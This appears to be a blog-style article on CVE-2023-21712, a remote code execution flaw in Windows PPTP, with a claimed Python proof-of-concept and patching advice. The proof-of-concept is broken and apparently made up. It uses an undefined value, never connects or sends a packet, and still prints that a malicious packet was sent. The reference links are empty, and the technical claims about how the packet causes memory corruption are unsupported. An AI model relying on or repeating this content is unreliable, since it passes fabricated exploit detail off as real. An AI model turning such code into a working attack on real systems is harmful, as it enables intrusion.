Recently, a new security vulnerability was disclosed, dubbed as CVE-2023-21712, which affects the Windows operating system Point-to-Point Tunneling Protocol (PPTP). This vulnerability enables an attacker to execute arbitrary code remotely, which may lead to complete control over the target system. In this article, we'll dive into the technical details of this vulnerability, its root cause, and discuss how you can safeguard your systems against the exploit.


Windows Point-to-Point Tunneling Protocol (PPTP) is a widely used network protocol that enables secure communication through Virtual Private Networks (VPNs). Operating systems such as Windows, Linux, and macOS all support PPTP.

CVE-2023-21712 is a critical remote code execution vulnerability that affects the Windows implementation of PPTP. The vulnerability arises due to a memory corruption issue in the PPTP service while processing specific packets. Attackers can exploit this vulnerability by sending specially crafted packets, causing the PPTP service to crash, or to execute arbitrary code with the privileges of the PPTP service.


To showcase the vulnerability, let's consider a simple proof-of-concept (PoC) exploit that targets CVE-2023-21712:

import socket

# Target IP address and PPTP port
target = ('<target-ip>', 1723)

# Crafting the malicious PPTP packet
header = b'\x1a\x2b\x3c\x4d'
length = b'\x00\x9c'
payload = b'\x00' * x9a
malicious_packet = header + length + payload

# Creating a socket for sending the malicious packet
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print(f'[+] Malicious packet sent to {target}')

This PoC exploit craft a special packet with a specific header and manipulated length. Once the PPTP service parses this packet, it will trigger the memory corruption, leading to the service either crashing or executing the arbitrary code.


1. Official Microsoft Security Advisory:
2. NVD Vulnerability Detail:


As of now, Microsoft has released a patch to address this vulnerability (KB5007206). You can follow the steps below to ensure that your systems are protected:

Apply the latest security patches and updates from Microsoft.

   a) For Windows update, thoroughly review the guidelines provided by Microsoft:
   b) For Windows Server Update Services, review the guidelines provided by Microsoft:
2. As a preventive measure, you may disable PPTP and its services, especially if your environment does not require or use PPTP for VPN connections. Follow the guidelines provided by Microsoft:


CVE-2023-21712 represents a critical vulnerability in Windows' implementation of PPTP, which allows remote code execution by malicious actors. Understanding the threat and taking the necessary steps to safeguard your systems is essential to mitigate the potential impact of this exploit. It is recommended to apply the latest security patch provided by Microsoft and disable PPTP if not needed for your specific use case.


Published on: 04/27/2023 19:15:00 UTC
Last modified on: 05/09/2023 16:50:00 UTC